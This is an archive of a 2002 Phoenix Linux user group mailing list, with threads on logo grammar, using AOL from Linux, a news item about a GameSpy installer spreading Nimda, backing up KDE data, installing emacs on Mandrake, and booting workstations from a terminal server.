Services PC Repairs & Upgrades www.krycom.com 480-699-3098 ------=_NextPart_000_003D_01C21F6A.B448A790 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Anyone hear about the game spy = installer infecting=20 some 3100 PC's with the nimda viurs?
 
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------=_NextPart_000_003D_01C21F6A.B448A790-- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 19:58:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Michelle Lowman) Date: Sat, 29 Jun 2002 12:58:47 -0700 Subject: Grammar, Was: PLUG Logo Update! In-Reply-To: References: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> Message-ID: <20020629125847.1f773e7c.mlowman@firstlinux.net> Aw jeez, I was afraid of this. ;) User is OK Users is OK User's is NOT OK (this would indicate that this is a group that belongs to only one user -- aaargh.) Users' is OK (probably most technically correct since this is a group that belongs the users -- plural and shows ownership) I guess it doesn't really matter, but we should be consistent. -Michelle On Sat, 29 Jun 2002 12:38:21 -0700 (PDT) Matt Alexander wrote: > Hmm... Any English professors in the audience? We could do: > > User > Users > User's > Users' > > All of these examples can be found in use by other Linux groups on the > 'net. We're a group of "Linux users," but we're also a "user group." So > I guess it depends on where you put the emphasis on the phrase. The Linux > group in Portland uses: > "Portland Linux Unix Group" which gets rid of the "is it plural or not" > problem all together. ;-) > ~M > > > On Sat, 29 Jun 2002, slr wrote: > > > well, i think i asked this ? before, because the PLUG web site is > > inconsistant. and yours is only the second comment about "Users" vs "User". > > how does the group feel about this isssue? > > > > slr > > > > ----- Original Message ----- > > From: "William Lindley" > > To: > > Sent: Saturday, June 29, 2002 6:33 AM > > Subject: Re: PLUG Logo Update! > > > > > > > Our banner says "Users" Group... let's be consistent at least. > > > > > > The logo should say "Users". > > > > > > \\/ > > > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 20:33:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Sat, 29 Jun 2002 13:33:20 -0700 Subject: Linux and AOL References: <3D1DFB82.80D376EE@cox.net> Message-ID: <001301c21fac$3ad24550$6400a8c0@amd1000> I wonder if you could use the AOL client for windows on linux with wine. I've had good results with codeweavers wine and also their crossoveroffice product. In fact, if I have an AOL disk in my mailbox today I may just give it a try. Charlie ----- Original Message ----- From: "Lee Einer" To: "PLUG newsgroup" Sent: Saturday, June 29, 2002 11:25 AM Subject: Linux and AOL > Hi, all- > > One of my co-workers is interested in getting Linux installed on her > PC at home. She uses AOL for internet access. How difficult is it to > get a Linux box set up for AOL? > > -- > Lee Einer > > http://members.cox.net/appealsman/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 21:05:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug@unfm00.com) Date: Sat, 29 Jun 2002 17:05:28 -0400 Subject: Gamespy Message-ID: http://story.news.yahoo.com/news?tmpl=story&ncid=582&e=1&cid=582&u=/nm/20020627/wr_nm/tech_gamespy_dc_1 Original Message: ----------------- From: Richard L. Proctor krycom1@cox.net Date: Sat, 29 Jun 2002 12:44:27 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: Gamespy Anyone hear about the game spy installer infecting some 3100 PC's with the nimda viurs? Richard L. Proctor Krystal Computer Services PC Repairs & Upgrades www.krycom.com 480-699-3098 -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 22:18:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Sat, 29 Jun 2002 15:18:07 -0700 (PDT) Subject: Linux and AOL In-Reply-To: Message-ID: <20020629221807.37664.qmail@web13401.mail.yahoo.com> --- William Lindley wrote: > On Sat, 29 Jun 2002, Lee Einer wrote: > > How difficult is it to get a Linux box set up for > AOL? > > I could convert several people to Linux if it worked > with AOL. "You can > just switch ISP's," I say. "Oh, no, I don't want > the hassle." > "grrrrrmph." > > As far as I know, it's impossible to use AOL as your > ISP for Linux. I agree about the just switching ISP's part. It's not impossible though. A guy on one of the irc networks I frequent uses aol and Linux. Maybe I can ask "Mr.Roboto" how he goes about doing this. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 22:55:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 29 Jun 2002 15:55:23 -0700 (MST) Subject: Linux and AOL In-Reply-To: <003101c21fa4$3aa93320$0b02a8c0@krycom> Message-ID: Am 29. Jun, 2002 schwätzte Richard L. Proctor so: > You might wnat to have a look here... > > http://news.com.com/2100-1023-244438.html?legacy=cnet That's from Aug 2000. I've talked to people from AOL more recently than that and they suggest corporate policy is to ignore GNU/Linux. It's not the market they want and it's a small market. Best bet to connect to AOL from GNU/Linux would be to try to get it working under WINE and send AOL bug reports. Even better would be to get people to move to a better service provider. If AOL sees their customer base leaving because there's no mechanism to use them as an ISP from GNU/Linux they'll start considering GNU/Linux as a valid target platform. ciao, der.hans -- # https://www.LuftHans.com/ # Only wimps use tape backup: _real_ men just upload their important # stuff on ftp, and let the rest of the world mirror it. -- Linus Torvalds From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 22:59:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 29 Jun 2002 15:59:14 -0700 (MST) Subject: PLUG Logo Update! In-Reply-To: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> Message-ID: Am 29. Jun, 2002 schwätzte slr so: > well, i think i asked this ? before, because the PLUG web site is > inconsistant. and yours is only the second comment about "Users" vs "User". > how does the group feel about this isssue? It's hardest to change the banner. As long as what it says is not greviously wrong, it's probably what we should adopt. BTW, thanks again for all the work the two of you have done on the logo for us! ciao, der.hans -- # https://www.LuftHans.com/ # I'm not anti-social, I'm pro-individual. - der.hans From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 23:40:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 29 Jun 2002 16:40:48 -0700 (MST) Subject: cheap dual-power supply boxen Message-ID: moin, moin, what's the point of having the web server on dual power supplies if the firewall isn't? So now I need a couple of cheap boxen with dual power supplies. They're for firewalls, so firepower isn't necessary. I will be doing some interesting things on them, so I can't just dust off a P90 this time around, though. Any suggestions on where to get something inexpensively? I'll probably end up buying cases and putting everything together myself, but not having to deal with PC hardware is a good thing, so I'd rather buy something pre-built. ciao, der.hans -- # https://www.LuftHans.com/ # It's up to the reader to make the book interesting. # An author has only the opportunity to make it uninteresting. - der.hans From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 00:10:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Sat, 29 Jun 2002 17:10:46 -0700 Subject: cheap dual-power supply boxen References: Message-ID: <3D1E4C86.6DB0EF51@cox.net> "der.hans" wrote: > ... I will be doing some interesting things on them, > so I can't just dust off a P90 this time around, though. Well, you could always buy that HP9000 (see below) and ditch the software ... ;-) Vic Subject: [azipa] HP9000 L2000 For sale Date: Sat, 29 Jun 2002 09:16:13 -0700 From: "Chris Besing" To: Great for a dev box or possibly a production box. Has all software licenses including Omniback for the DLT drive. Includes 8ft. rack. and extras. Also have Broadvision enterprise software that could be used for development purposes. Please email to cbesing@cox.net for more details. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 01:02:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 18:02:26 -0700 Subject: PLUG Logo Update! In-Reply-To: References: Message-ID: <200206291802.26280.dennisk@sahuaro.f2s.com> On Saturday 29 June 2002 06:33 am, William Lindley wrote: > Our banner says "Users" Group... let's be consistent at least. > > The logo should say "Users". > > \\/ User is singular, isn't it? Our goal is to get many "users" no? Dennis From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 03:46:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 20:46:24 -0700 Subject: Backing up Kaddressbook & Korganizer Data-How? Message-ID: <200206292046.24601.dennisk@sahuaro.f2s.com> Where are the data files for Kaddressbook & Korganizer kept? I've looked under /~.kde/share/apps but both kab and korganizer are empty folders. A search of the kde-user and kde-pim mail list revealed little. thanks, Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 04:05:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Peter Buechler) Date: Sat, 29 Jun 2002 21:05:13 -0700 Subject: cheap dual-power supply boxen In-Reply-To: References: Message-ID: <200206292105.13050.peter.buechler@cox.net> When I want something cheap that is just a bit behind the curve, I check out http://computersurplusoutlet.com. On Saturday 29 June 2002 16:40, der.hans wrote: > moin, moin, > > what's the point of having the web server on dual power supplies if the > firewall isn't? > > So now I need a couple of cheap boxen with dual power supplies. They're for > firewalls, so firepower isn't necessary. I will be doing some interesting > things on them, so I can't just dust off a P90 this time around, though. > > Any suggestions on where to get something inexpensively? I'll probably end > up buying cases and putting everything together myself, but not having to > deal with PC hardware is a good thing, so I'd rather buy something > pre-built. > > ciao, > > der.hans From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 04:38:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 29 Jun 2002 21:38:35 -0700 Subject: Linux and AOL In-Reply-To: References: Message-ID: <1025411916.31898.15.camel@hawk> I've also heard the same thing. While they would love it if RedHat or someone provided an AOL client (and support). They've decided that with the different favors of *nix there would be no WAY they could support them all with the kind of basic computers help their customers have come to expect. They also realize that most Linux users would *never* use AOL so they aren't even going to try for that space. Though everyone knows that they are still working on the client (a significant number of their programmers perfer Linux and needed a way to test from their boxes). I don't think they *ever* intend to release it. Carl P. On Sat, 2002-06-29 at 15:55, der.hans wrote: > Am 29. Jun, 2002 schwätzte Richard L. Proctor so: > > > You might wnat to have a look here... > > > > http://news.com.com/2100-1023-244438.html?legacy=cnet > > That's from Aug 2000. I've talked to people from AOL more recently than that > and they suggest corporate policy is to ignore GNU/Linux. It's not the market > they want and it's a small market. > > Best bet to connect to AOL from GNU/Linux would be to try to get it working > under WINE and send AOL bug reports. > > Even better would be to get people to move to a better service provider. If > AOL sees their customer base leaving because there's no mechanism to use > them as an ISP from GNU/Linux they'll start considering GNU/Linux as a valid > target platform. > > ciao, > > der.hans > -- > # https://www.LuftHans.com/ > # Only wimps use tape backup: _real_ men just upload their important > # stuff on ftp, and let the rest of the world mirror it. -- Linus Torvalds > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 04:34:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Sat, 29 Jun 2002 21:34:10 -0700 Subject: Linux and AOL References: <1025411916.31898.15.camel@hawk> Message-ID: <3D1E8A42.671C558F@cox.net> While net-searching on this topic, I did happen on a piece of software called PengAOL, which supposedly is AOL dialup software for Linux. Does anyone on the list have experience with this software? The software and docs are at http://www.pengaol.org/ -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 04:50:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sat, 29 Jun 2002 23:50:41 -0500 (CDT) Subject: Linux and AOL In-Reply-To: Message-ID: AOL protocol has been successfully reverse engineered why wait for AOL? http://www.pengaol.ipfrance.net/eng/ About Peng for Aol Peng is a free program for Linux which sets up a bridge IP for the Aol's subscribers. In practice it allows to connect to internet by way of AOL. This program is a reverse ingeenering of the AOL's program by analyzing bytes sent to the modem. No code's line of the official program was dismantle. The final goal is to offer an access with a high level of stability and security at the Aol's users under linux. -Derek On Sat, 29 Jun 2002, Matt Alexander wrote: > There's currently not an AOL client for Linux. You can use the AOL > Instant Messenger on Linux and you can check your email through their web > interface, however. I would suggest that you contact AOL and let them > know you're interested in an official Linux AOL client. I know of a lot > of people that only use their computer for AOL and they wouldn't mind > having Linux, as long as they can still use AOL. > ~M > > > On Sat, 29 Jun 2002, Lee Einer wrote: > > > Hi, all- > > > > One of my co-workers is interested in getting Linux installed on her > > PC at home. She uses AOL for internet access. How difficult is it to > > get a Linux box set up for AOL? > > > > -- > > Lee Einer > > > > http://members.cox.net/appealsman/ > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 04:55:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sat, 29 Jun 2002 23:55:51 -0500 (CDT) Subject: Gamespy In-Reply-To: Message-ID: An AOL on Lniux Tutorial. http://www.yolinux.com/TUTORIALS/LinuxTutorialAOL.html -Derek From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 06:13:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sat, 29 Jun 2002 23:13:14 -0700 Subject: Backing up Kaddressbook & Korganizer Data-How? In-Reply-To: <200206292046.24601.dennisk@sahuaro.f2s.com> References: <200206292046.24601.dennisk@sahuaro.f2s.com> Message-ID: <200206292313.20388.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Mine are under .kde/share/apps/kabc and my korganizer is a shared file on my server so my wife and I see the same thing.. Can't help you there. Sorry kabc directory should have a std.vcf file. nathan Am Samstag 29 Juni 2002 08:46 nachmittags/abends schrieb Dennis Kibbe: > Where are the data files for Kaddressbook & Korganizer kept? I've looked > under /~.kde/share/apps but both kab and korganizer are empty folders. A > search of the kde-user and kde-pim mail list revealed little. > > thanks, > > Dennis Kibbe > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Nathan England plug@the-arcanum.org "A free society is one where it is safe to be unpopular" --Adlai Stevenson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9HqF9Q7yNnsYcupwRAhzSAJ9yebL5wHPGGlUNHupf0uxpbsAX2QCeOTmx yHk8NslmPky84u0jGERqMAY= =BW9D -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 06:20:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 23:20:02 -0700 Subject: Backing up Kaddressbook & Korganizer Data-How? In-Reply-To: <200206292046.24601.dennisk@sahuaro.f2s.com> References: <200206292046.24601.dennisk@sahuaro.f2s.com> Message-ID: <200206292320.02544.dennisk@sahuaro.f2s.com> On Saturday 29 June 2002 08:46 pm, Dennis Kibbe wrote: > Where are the data files for Kaddressbook & Korganizer kept? I've looked > under /~.kde/share/apps but both kab and korganizer are empty folders. A > search of the kde-user and kde-pim mail list revealed little. > > thanks, > > Dennis Kibbe Here's what I discovered in case anyone is interested. Comments & corrections are welcomed. 1. Mail is under /~Mail (POP3, sendmail, etc.) or /~.kde/share/apps/kmail/imap (for IMAP servers). Earthlink is still the older POP3 2. KMail filter are contained in the KMail config file /~.kde/share/config/kmailrc 3. KOrganizer saves in standard iCalendar file format *.ics (see /~.kde/share/apps/korganizer/calendar.ics) 4. Konqueror bookmarks are a standard *.xml format (see /~.kde/share/apps/konqueror/bookmarks.xml) 5. KAddressbook saves in standard *.vcf format (see /~.kde/share/apps/kabc/std.vcf) 6. Backing up /~.kde/share/ or at least /~.kde/share/cache, config & apps should do it. 7. /~.kde is a hidden folder. In Konqueror use "View Hidden Files" or in a terminal window tpye ls -a 8. All of these file formats are open standards and can be read with any text editor I'm preparing this for a friend who is new to Linux & KDE From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 06:56:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sat, 29 Jun 2002 23:56:33 -0700 Subject: shmget error on sylpheed and a few others Message-ID: <20020629235633.3c75e749.snoogans@qwest.net> i get this error when starting up sylpheed, i also have gotten when i ran enlightenment it said it used it for the pager and it couldn't have all the fancy pictured in it because of this error, anyone have any ideas on how to fix it? Gdk-WARNING **: shmget failed: error 38 (Function not implemented) From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 08:16:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Moynahan) Date: Sun, 30 Jun 2002 01:16:41 -0700 Subject: Install emacs on Linux Message-ID: I've just installed linux(Mandrake 8.1) and I'm trying to get emacs installed. Disk 2 of Mandrake 8.1 is in the cdrom and accessible. When I run this command 'rpm -ivh emacs-X11-20.7-17mdk.i586.rpm' I get this error message 'error: failed dependencies: emacs is needed by emacs-X11-20.7-17mdk.i586.rpm'. Any suggestions on how to get Emacs installed would be greatly appreciated. Thanks, Mark _________________________________________________________________ Send and receive Hotmail on your mobile device: http://mobile.msn.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 13:44:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Sun, 30 Jun 2002 06:44:53 -0700 Subject: Install emacs on Linux In-Reply-To: References: Message-ID: <15647.2901.86089.120204@bela.interhack.net> Mark> I've just installed linux(Mandrake 8.1) and I'm Mark> trying to get emacs installed. Disk 2 of Mark> Mandrake 8.1 is in the cdrom and accessible. Mark> When I run this command 'rpm -ivh Mark> emacs-X11-20.7-17mdk.i586.rpm' I get this error Mark> message 'error: failed dependencies: emacs is Mark> needed by emacs-X11-20.7-17mdk.i586.rpm'. Any Mark> suggestions on how to get Emacs installed would Mark> be greatly appreciated. You might just try building and installing it from source. I don't know exactly where to get GNU Emacs. I've been using XEmacs for a very long time, and always make sure I unselect it whenever I upgrade my OS so I don't have two conflicting versions out there. (Same with several other packages, such as Apache, MySQL, Mozilla, and two or three others. -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 14:40:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Sun, 30 Jun 2002 07:40:11 -0700 Subject: Linux Terminal Server Message-ID: <000801c22044$0ae21990$6400a8c0@amd1000> This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C22009.5D5AC720 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Is there any reason why a non stipped down computer wouldn't work as a = workstation. I don't have an extra old compter sitting around. Could I = use the boot from floppy option and then leave the nomral operatining = system intact but unused?=20 My understanding is that once the boot over the network occurs, all disk = activity is then on the server. If this can be done, with no impact on = the operating system installed on the workstation, my employer will let = me proceed. =20 I have been having some real good results using my linuxbox at work and = 1 of my co-workers is real interested in using linux for for 2 reasons. = First the greater lack of virus vulnerablility and second, the virtual = desktops, which allows each of our general types of work to be = isolatedin its own virtual desktop. Thisis a real advantage as each = catagory sometimes results in as many as 4 browser windows and 1 or 2 = other applications running. All done on one desktop gets unmanageable = real fast. Regards, Charlie ------=_NextPart_000_0005_01C22009.5D5AC720 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Is there any reason why a non stipped = down computer=20 wouldn't work as a workstation. I don't have an extra old compter = sitting=20 around. Could I use the boot from floppy option and then leave the = nomral=20 operatining system intact but unused?
 
My understanding is that once the boot = over the=20 network occurs, all disk activity is then on the server. If this can be = done,=20 with no impact on the operating system installed on the workstation, my = employer=20 will let me proceed.  
 
I have been having some real good = results using my=20 linuxbox at work and 1 of my co-workers is real interested in using = linux for=20 for 2 reasons. First the greater lack of virus vulnerablility and = second, the=20 virtual desktops, which allows each of our general types of work to be=20 isolatedin its own virtual desktop. Thisis a real advantage as  = each=20 catagory sometimes results in as many as 4 browser windows and 1 or 2 = other=20 applications running. All done on one desktop gets unmanageable real=20 fast.
 
Regards,
 
 
Charlie
------=_NextPart_000_0005_01C22009.5D5AC720-- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 16:29:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Sun, 30 Jun 2002 09:29:05 -0700 Subject: Configuring Exim to work with K-mail for multiple users Message-ID: <3D1F31D1.4C0B3791@cox.net> Hi, all- I am trying to get Kmail up and running, and am having difficulties getting exim configured correctly. What should the Qualify domain and Local domains be set to in my exim.conf file? -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 16:39:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 30 Jun 2002 09:39:55 -0700 Subject: Install emacs on Linux In-Reply-To: References: Message-ID: <1025455196.3011.4.camel@desktop.capnet.lan> On Sun, 2002-06-30 at 01:16, Mark Moynahan wrote: > I've just installed linux(Mandrake 8.1) and I'm trying to get emacs > installed. Disk 2 of Mandrake 8.1 is in the cdrom and accessible. When I run > this command 'rpm -ivh emacs-X11-20.7-17mdk.i586.rpm' I get this error > message 'error: failed dependencies: emacs is needed by > emacs-X11-20.7-17mdk.i586.rpm'. Any suggestions on how to get Emacs > installed would be greatly appreciated. > > Thanks, > > Mark Mark, I've got Mandrake 8.2, but IIRC this should also work in 8.1. Use "urpmi emacs*" and it should install all the dependencies. You could also install it from the Software Manager, which is just a GUI front end for urpmi. HTH, -- D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 15:35:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert N. Eaton) Date: Sun, 30 Jun 2002 11:35:27 -0400 Subject: Grammar, Was: PLUG Logo Update! In-Reply-To: References: Message-ID: <200206301825.g5UIP0MY010144@mail.infinet-is.com> On Saturday 29 June 2002 03:38 pm, you wrote: > Hmm... Any English professors in the audience? We could do: > > User > Users > User's > Users' > > All of these examples can be found in use by other Linux groups on the > 'net. We're a group of "Linux users," but we're also a "user group." So > I guess it depends on where you put the emphasis on the phrase. The Linux > group in Portland uses: > "Portland Linux Unix Group" which gets rid of the "is it plural or not" > problem all together. ;-) > ~M If you want to get excessively grammatical: User = noun, sungular Users= noun, plural User's = noun, singular, possessive Users' = noun, plural, possessive Any of the four could grammatically appear before "Group" . "User's" implies "only one". Sort of "I am the only Linux user." "Users'" implies "many." "I am one of many Linux users." "User" and "Users" act as noun adjuncts; that is, nouns acting as adjectives telling "what kind of" group just as in "school house" , "school" tells "what kind of house. My choice would be "Users" as it implies multiple users, and lacks the clutter of the apostrophe, which, in a logo, is really unnecessary. -- Bob Eaton Curiosity didn't kill the cat: it was lack of information. -- Bob Eaton Curiosity didn't kill the cat: it was lack of information. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 19:09:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 30 Jun 2002 12:09:53 -0700 (PDT) Subject: Linux Terminal Server In-Reply-To: <000801c22044$0ae21990$6400a8c0@amd1000> Message-ID: Yes, you could boot from an LTS over the network and leave your existing installation untouched. On Sun, 30 Jun 2002, Charlie Bullen wrote: > Is there any reason why a non stipped down computer wouldn't work as a workstation. I don't have an extra old compter sitting around. Could I use the boot from floppy option and then leave the nomral operatining system intact but unused? > > My understanding is that once the boot over the network occurs, all disk activity is then on the server. If this can be done, with no impact on the operating system installed on the workstation, my employer will let me proceed. > > I have been having some real good results using my linuxbox at work and 1 of my co-workers is real interested in using linux for for 2 reasons. First the greater lack of virus vulnerablility and second, the virtual desktops, which allows each of our general types of work to be isolatedin its own virtual desktop. Thisis a real advantage as each catagory sometimes results in as many as 4 browser windows and 1 or 2 other applications running. All done on one desktop gets unmanageable real fast. > > Regards, > > > Charlie > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 19:12:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 30 Jun 2002 12:12:24 -0700 (PDT) Subject: Backing up Kaddressbook & Korganizer Data-How? In-Reply-To: <200206292320.02544.dennisk@sahuaro.f2s.com> Message-ID: sed 's/\/~/~\//g' On Sat, 29 Jun 2002, Dennis Kibbe wrote: > On Saturday 29 June 2002 08:46 pm, Dennis Kibbe wrote: > > Where are the data files for Kaddressbook & Korganizer kept? I've looked > > under /~.kde/share/apps but both kab and korganizer are empty folders. A > > search of the kde-user and kde-pim mail list revealed little. > > > > thanks, > > > > Dennis Kibbe > > Here's what I discovered in case anyone is interested. Comments & corrections > are welcomed. > > 1. Mail is under /~Mail (POP3, sendmail, etc.) or /~.kde/share/apps/kmail/imap > (for IMAP servers). Earthlink is still the older POP3 > 2. KMail filter are contained in the KMail config file > /~.kde/share/config/kmailrc > 3. KOrganizer saves in standard iCalendar file format *.ics (see > /~.kde/share/apps/korganizer/calendar.ics) > 4. Konqueror bookmarks are a standard *.xml format (see > /~.kde/share/apps/konqueror/bookmarks.xml) > 5. KAddressbook saves in standard *.vcf format (see > /~.kde/share/apps/kabc/std.vcf) > 6. Backing up /~.kde/share/ or at least /~.kde/share/cache, config & apps > should do it. > 7. /~.kde is a hidden folder. In Konqueror use "View Hidden Files" or in a > terminal window tpye ls -a > 8. All of these file formats are open standards and can be read with any text > editor > > I'm preparing this for a friend who is new to Linux & KDE > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 19:39:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Sun, 30 Jun 2002 12:39:23 -0700 Subject: Grammar, Was: PLUG Logo Update! References: <200206301825.g5UIP0MY010144@mail.infinet-is.com> Message-ID: <003601c2206d$d6779340$0601010a@tickticker.com> ok, here's my 2 cents.... in this context USER is being used as an adjective.. this is a group. a USER group. a linux USER group. users group is like a double negative. but in this case it's a double plural. that's all i got to say 'bout that. anthony ----- Original Message ----- From: "Robert N. Eaton" To: Sent: Sunday, June 30, 2002 8:35 AM Subject: Re: Grammar, Was: PLUG Logo Update! > On Saturday 29 June 2002 03:38 pm, you wrote: > > Hmm... Any English professors in the audience? We could do: > > > > User > > Users > > User's > > Users' > > > > All of these examples can be found in use by other Linux groups on the > > 'net. We're a group of "Linux users," but we're also a "user group." So > > I guess it depends on where you put the emphasis on the phrase. The Linux > > group in Portland uses: > > "Portland Linux Unix Group" which gets rid of the "is it plural or not" > > problem all together. ;-) > > ~M > If you want to get excessively grammatical: > > User = noun, sungular > Users= noun, plural > User's = noun, singular, possessive > Users' = noun, plural, possessive > > Any of the four could grammatically appear before "Group" . > > "User's" implies "only one". Sort of "I am the only Linux user." > "Users'" implies "many." "I am one of many Linux users." > "User" and "Users" act as noun adjuncts; that is, nouns acting as adjectives > telling "what kind of" group just as in "school house" , "school" tells "what > kind of house. > > My choice would be "Users" as it implies multiple users, and lacks the > clutter of the apostrophe, which, in a logo, is really unnecessary. > > -- > Bob Eaton > > Curiosity didn't kill the cat: it was lack of information. > > -- > Bob Eaton > > Curiosity didn't kill the cat: it was lack of information. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 18:45:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Sun, 30 Jun 2002 14:45:05 -0400 (EDT) Subject: PLUG Logo Update! In-Reply-To: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> Message-ID: FWIW: According to Google, the split is about 50/50, though "java user group" outnumbers "java users group" by a large margin. On Sat, 29 Jun 2002, slr wrote: > well, i think i asked this ? before, because the PLUG web site is > inconsistant. 